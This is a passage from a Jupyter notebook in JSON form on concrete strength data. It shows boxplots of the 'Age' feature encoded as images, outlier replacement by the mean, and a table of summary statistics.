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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "sb.boxplot(x=df['Age'])" - ] - }, - { - "cell_type": "code", - "execution_count": 14, - "metadata": {}, - "outputs": [], - "source": [ - "# removing outliners\n", - "outliers_removed = [x for x in df['Age'] if x >= 150 and x <= 400]\n", - "for i in df['Age']:\n", - " if i in set(outliers_removed):\n", - " df['Age'] = df['Age'].replace(i,df['Age'].mean())" - ] - }, - { - "cell_type": "code", - "execution_count": 15, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 15, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "sb.boxplot(x=df['Age'])" - ] - }, - { - "cell_type": "code", - "execution_count": 16, - "metadata": {}, - "outputs": [], - "source": [ - "# removing new outliners\n", - "outliers_removed = [x for x in df['Age'] if x >= 60 and x <= 150]\n", - "for i in df['Age']:\n", - " if i in set(outliers_removed):\n", - " df['Age'] = df['Age'].replace(i,df['Age'].mean())" - ] - }, - { - "cell_type": "code", - "execution_count": 17, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 17, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "sb.boxplot(x=df['Age'])" - ] - }, - { - "cell_type": "code", - "execution_count": 18, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
Blast Furnace SlagFly AshSuperplasticizerAgeStrength
count1030.0000001030.0000001030.0000001030.0000001030.000000
mean71.44262554.1883505.97108324.78616235.817961
std82.56933663.9970045.47703214.78042716.705742
min0.0000000.0000000.0000001.0000002.330000
25%0.0000000.0000000.0000007.00000023.710000
50%22.0000000.0000006.15000028.00000034.445000
75%141.300000118.30000010.07500028.66410246.135000
max290.200000200.10000023.40000056.00000082.600000
\n", - "
" - ], - "text/plain": [ - " Blast Furnace Slag Fly Ash Superplasticizer Age \\\n", - "count 1030.000000 1030.000000 1030.000000 1030.000000 \n", - "mean 71.442625 54.188350 5.971083 24.786162 \n", - "std 82.569336 63.997004 5.477032 14.780427 \n", - "min 0.000000 0.000000 0.000000 1.000000 \n", - "25% 0.000000 0.000000 0.000000 7.000000 \n", - "50% 22.000000 0.000000 6.150000 28.000000 \n", - "75% 141.300000 118.300000 10.075000 28.664102 \n", - "max 290.200000 200.100000 23.400000 56.000000 \n", - "\n", - " Strength \n", - "count 1030.000000 \n", - "mean 35.817961 \n", - "std 16.705742 \n", - "min 2.330000 \n", - "25% 23.710000 \n", - "50% 34.445000 \n", - "75% 46.135000 \n", - "max 82.600000 " - ] - }, - "execution_count": 18, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# checking if standardization is required or not\n", - "df.describe()" - ] - }, - { - "cell_type": "code", - "execution_count": 19, - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "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